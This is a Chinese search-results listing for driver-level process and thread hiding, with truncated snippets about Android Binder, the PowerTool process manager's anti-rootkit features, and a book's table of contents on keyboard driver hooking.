    千次阅读 2016-05-26 16:35:20
    概述我们知道,在创建一个新进程的...Android Binder框架分为服务器接口、Binder驱动、以及客户端接口服务器端接口:实际上是Binder类的对象,该对象一旦创建,内部则会启动一个隐藏线程,会接收Binder驱动发送的消息,
  • PowerTool 是一款免费强大的国产进程管理器,支持进程强制结束,可以解锁占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能。最新版还支持上传文件在线扫描...
  • 1. 所有进程的枚举(包括内核中隐藏进程) 2. 所有文件的枚举(包括内核中隐藏的文件) 3. 进程中所有模块的枚举(包括内核中隐藏的模块) 4. 进程的强制结束 5. 进程中模块的强制卸载 6. 模块被哪些进程加载的...
  • PowerTool 一款免费强大的进程管理器,支持进程强制结束,可以Unlock占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能。最新版还支持上传文件在线扫描病毒。 ...
  • 8.5.4 端口驱动和类驱动之间的协作机制 129 8.5.5 找到关键的回调函数的条件 129 8.5.6 定义常数和数据结构 130 8.5.7 打开两种键盘端口驱动寻找设备 131 8.5.8 搜索在KbdClass类驱动中的地址 133 8.6 Hook键盘...

空空如也

空空如也

1 2 3 4 5 ... 14
收藏数 275
精华内容 110
关键字:

驱动隐藏进程线程